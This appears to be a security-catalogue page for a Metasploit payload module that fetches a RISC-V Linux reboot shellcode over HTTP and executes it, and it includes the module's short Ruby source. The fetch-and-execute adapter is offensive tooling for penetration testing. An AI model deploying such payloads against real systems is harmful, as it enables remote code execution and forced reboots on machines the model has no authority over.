METASPLOIT

HTTP Fetch, Linux Reboot_MSF:PAYLOAD-CMD-LINUX-HTTP-RISCV64LE-REBOOT-

Description

Fetch and execute an RISC-V 64-bit payload from an HTTP server. A very small shellcode for rebooting the system using the reboot syscall. This payload is sometimes helpful for testing purposes. Requires CAPSYSBOOT privileges. Module Options msf use...
Visit Original Source

Basic Information

ID MSF:PAYLOAD-CMD-LINUX-HTTP-RISCV64LE-REBOOT-
Published Jan 5, 2026 at 18:59

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
include Msf::Payload::Adapter::Fetch::HTTP
include Msf::Payload::Adapter::Fetch::LinuxOptions

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTP Fetch',
'Description' => 'Fetch and execute an RISC-V 64-bit payload from an HTTP server.',
'Author' => ['Brendan Watters', 'Spencer McIntyre', 'bcoles'],
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_RISCV64LE,
'AdaptedPlatform' => 'linux'
)
)
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.